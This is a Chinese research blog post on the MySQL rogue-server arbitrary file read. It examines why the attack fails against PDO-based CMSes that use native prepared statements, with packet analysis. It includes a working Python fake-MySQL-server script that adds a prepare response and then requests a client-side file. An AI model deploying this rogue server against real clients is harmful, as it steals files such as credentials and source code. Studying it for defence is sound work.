MySQL任意文件读取

在之前有过类似的测试,但是测试比较浅

和这次测试的目的是不一样的

之前的测试

测试目的

MySQL的任意文件读取漏洞

是在数据库链接时触发的?

还是在数据库执行查询操作的时候触发的?

测试环境

php+mysql

测试模块

  • mysql.dll

变量

  • mysql_connect函数
  • mysql_select函数

测试结果

MySQL的任意文件读取是在查询或者插入操作时触发的

触发过程大概是

  • 服务端:greeting握手包
  • 客户端:login数据包
  • 服务端:连接成功数据包
  • 客户端:现在我要查询一下版本信息
  • 服务端:好的,把/etc/passwd文件发过来吧
  • 客户端:好的,这是我的/etc/passwd文件

整体来说,原生的MySQL触发任意文件读取是没有太大的问题的

新的测试

在框架中,大多数据库操作的底层是调用PDO处理

在实际的源码中,已经遇到多套CMS存在任意文件读取漏洞,但是无法利用成功

  • 72crm
  • wemall
  • 几度cms
  • …….

72crm为例

image-20210519175049092

上面的连接数据库的设置,下面通过execute执行了select version()

由于进行了查询操作理论上应该是可以进行任意文件读取的

但是经过测试后,发现并不可以

image-20210519180135463

可以看到这里只有连接的信息,并没有读取的文件

经过调式之后发现

在预处理出,发生了错误,返回值不再是一个PDO的对象而是null

错误就是MySQL server has go away

image-20210519180417350

既然牵扯到了预处理,那么就

提出问题

问题1:不同的预处理方式,是否对结果产生影响?

测试变量

  • MySQL原生的预处理
  • PDO模拟预编译

测试

ThinkPHP5中采用的是原生的预处理

通过wireshark进行数据包分析

image-20210519181058761

发现这里存在一个prepare的预处理数据包

开启模拟预编译后,可以发现并没有prepare的数据包

image-20210519182132295

直接就是query的数据包了

说明一点

  • 当开启模拟预编译之后,操作在PDO内部完成,不牵扯数据库
  • $this->PDOStatement = $this->linkID->prepare($sql);

问题2:那这个数据包会不会成为影响读取成败的关键呢?

这个时候想起来,报的错误是服务丢失,那么存在两种情况

  • 连接断开
  • 没有返回包

测试

测试没有成功读取文件的,数据包

image-20210519182820431

可以看到这里有预处理的数据包,下面一堆tcp数据包,服务其实并没有断开

就是没有给客户端返回响应包

之前的脚本不成功的原因也就找到了

因为只有三次响应

  • greeting响应包
  • 连接成功响应包
  • 读取文件的响应包

我们需要在连接成功和读取文件中间添加预处理的响应包

编写脚本

需要看看预处理的响应包到底是什么?

image-20210519183413346

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import socket
import logging


logging.basicConfig(level=logging.DEBUG)
filename = "E:/phpstudy/directory/phpstudy_pro/WWW/www.72crmaaa.com/index.php"
sv = socket.socket()
sv.bind(("127.0.0.1", 3306))
sv.listen(5)
conn, address = sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("select version")
conn.sendall("\x0c\x00\x00\x01\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x02\x03\x64\x65\x66\x00\x00\x00\x09\x76\x65\x72\x73\x69\x6f\x6e\x28\x29\x00\x0c\x21\x00\x12\x00\x00\x00\xfd\x01\x00\x1f\x00\x00\x05\x00\x00\x03\xfe\x00\x00\x02\x00")
conn.recv(9999)
logging.info("want file...")
wantfile = chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content = conn.recv(9999)
logging.info(content)
conn.close()

运行测试

但仍然存在缺陷,就是PDO默认是不支持文件读取的,所以需要添加

PDO::MYSQL_ATTR_LOCAL_INFILE => true,

image-20210519190143758

成功读取文件

image-20210519190225752

没有太大的意义,只能说是对MySQL任意文件读取的一种探究

结论

碰到PDO没办法设置参数的,就无法完成任意文件读取